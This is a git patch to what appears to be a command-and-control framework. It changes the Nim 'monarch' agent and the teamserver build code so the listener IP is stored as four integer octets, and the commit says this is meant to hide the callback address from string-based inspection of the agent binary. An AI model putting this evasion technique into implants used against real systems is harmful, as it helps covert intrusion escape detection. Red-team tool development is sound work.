From b25d09e2822d6f246bb3bdd0db64eeb8dadd5391 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Mon, 2 Jun 2025 21:37:58 +0200 Subject: [PATCH] Hide hardcoded IP address from agent binary by splitting it up into integer octets --- agents/monarch/client.nim | 12 +++++++++--- agents/monarch/nim.cfg | 5 ++++- server/agent/agent.nim | 10 ++++++++-- server/utils.nim | 5 +++++ 4 files changed, 26 insertions(+), 6 deletions(-) diff --git a/agents/monarch/client.nim b/agents/monarch/client.nim index e0c0b52..2720d51 100644 --- a/agents/monarch/client.nim +++ b/agents/monarch/client.nim @@ -5,7 +5,10 @@ import ./[types, http, task] import commands/shell const ListenerUuid {.strdefine.}: string = "" -const ListenerIp {.strdefine.}: string = "" +const Octet1 {.intdefine.}: int = 0 +const Octet2 {.intdefine.}: int = 0 +const Octet3 {.intdefine.}: int = 0 +const Octet4 {.intdefine.}: int = 0 const ListenerPort {.intdefine.}: int = 5555 const SleepDelay {.intdefine.}: int = 10 @@ -22,13 +25,16 @@ proc main() = # The agent configuration is read at compile time using define/-d statements in nim.cfg # This configuration file can be dynamically generated from the teamserver management interface # Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary - when not defined(ListenerUuid) or not defined(ListenerIp) or not defined(ListenerPort) or not defined(SleepDelay): + when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay): echo "Missing agent configuration." quit(0) + # Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary + let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4 + var config = AgentConfig( listener: ListenerUuid, - ip: ListenerIp, + ip: address, port: ListenerPort, sleep: SleepDelay ) diff --git a/agents/monarch/nim.cfg b/agents/monarch/nim.cfg index 9820bed..5c8ea9d 100644 --- a/agents/monarch/nim.cfg +++ b/agents/monarch/nim.cfg @@ -1,5 +1,8 @@ # Agent configuration -d:ListenerUuid="JEBFQPEP" --d:ListenerIp="127.0.0.1" +-d:Octet1="127" +-d:Octet2="0" +-d:Octet3="0" +-d:Octet4="1" -d:ListenerPort=5555 -d:SleepDelay=10 diff --git a/server/agent/agent.nim b/server/agent/agent.nim index 107404b..b2626a9 100644 --- a/server/agent/agent.nim +++ b/server/agent/agent.nim @@ -121,13 +121,19 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) = let listener = cq.listeners[listener.toUpperAscii] # Create/overwrite nim.cfg file to set agent configuration - let agentConfigFile = fmt"../agents/{payload}/nim.cfg" + let agentConfigFile = fmt"../agents/{payload}/nim.cfg" + + # Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command + let (first, second, third, fourth) = parseOctets(listener.address) # The following shows the format of the agent configuration file that defines compile-time variables let config = fmt""" # Agent configuration -d:ListenerUuid="{listener.name}" - -d:ListenerIp="{listener.address}" + -d:Octet1="{first}" + -d:Octet2="{second}" + -d:Octet3="{third}" + -d:Octet4="{fourth}" -d:ListenerPort={listener.port} -d:SleepDelay={sleep} """.replace(" ", "") diff --git a/server/utils.nim b/server/utils.nim index cbfea60..2b95fdd 100644 --- a/server/utils.nim +++ b/server/utils.nim @@ -3,6 +3,11 @@ import std/wordwrap import ./[types] +proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] = + # TODO: Verify that address is in correct, expected format + let octets = ip.split('.') + return (parseInt(octets[0]), parseInt(octets[1]), parseInt(octets[2]), parseInt(octets[3])) + proc validatePort*(portStr: string): bool = try: let port: int = portStr.parseInt